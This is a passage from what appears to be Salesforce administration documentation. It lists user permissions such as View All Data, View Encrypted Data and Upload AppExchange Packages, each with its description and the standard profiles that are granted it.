To transfer records owned by another user, you must also have at least the “Edit” object permission and access to view the records

		System Administrator



		[bookmark: UploadAppExchangePackages]Upload AppExchange Packages

		[bookmark: UploadAppExchangePackagesDescription]Upload packages to AppExchange for distribution.

		Upload AppExchange packages to AppExchange; 

Create test drives

To push upgrades

To create patch development organizations

		System Administrator



		[bookmark: UseTeamReassignmentWizards]Use Team Reassignment Wizards

		[bookmark: UseTeamReassignmentWizardsDescription]Mass reassign account team and opportunity team members.

		Mass reassign account team and opportunity team members

		System Administrator



		[bookmark: ViewAllData]View All Data

		[bookmark: ViewAllDataDescription]View all organizational data, regardless of sharing settings.

		View all data owned by other users

		System Administrator



		[bookmark: ViewAllForecasts]View All Forecasts

		[bookmark: ViewAllForecastsDescription]View any user's forecast, regardless of the forecast role hierarchy.

		View any user’s forecast regardless of the forecast role hierarchy. 

This permission is only available for customizable forecasts. When you convert to customizable forecasts, custom profiles that have the “View All Data” permission get the “View All Forecasts” permissions.

		System Administrator



		[bookmark: ViewContentInPortals]View Content in Portals

		[bookmark: ViewContentInPortalsDescription]View Salesforce CRM Content from a portal.

		Allows Customer Portal and Partner Portal users to view Salesforce CRM Content

		None



		[bookmark: ViewDataCategories]View Data Categories

		[bookmark: ViewDataCategoriesDescription]View the Data Categories page.

		View the Your Name | Setup | Customize | Data Categories page 

This permission only applies to data categories, not solution categories

		System Administrator



		[bookmark: ViewEncryptedData]View Encrypted Data

		[bookmark: ViewEncryptedDataDescription]View the value of encrypted fields in plain text.

		View the value of encrypted fields in plain text

		None



		[bookmark: ViewMyTeamsDashboards]View My Team's Dashboards

		[bookmark: ViewMyTeamsDashboardsDescription]View dashboards owned by people under them in the role hierarchy.

		View dashboards owned by people under them in the role hierarchy

		System Administrator



		[bookmark: ViewSetupAndConfiguration]View Setup and Configuration

		[bookmark: ViewSetupAndConfigurationDescription]View the App Setup and Administrative Settings pages.

		View the organization setup details on the Setup pages; 

Run user reports; 

View the setup audit trail; 

Check field accessibility for users

		System Administrator 

Standard User 

Solution Manager 

Marketing User 

Read Only 

Contract Manager
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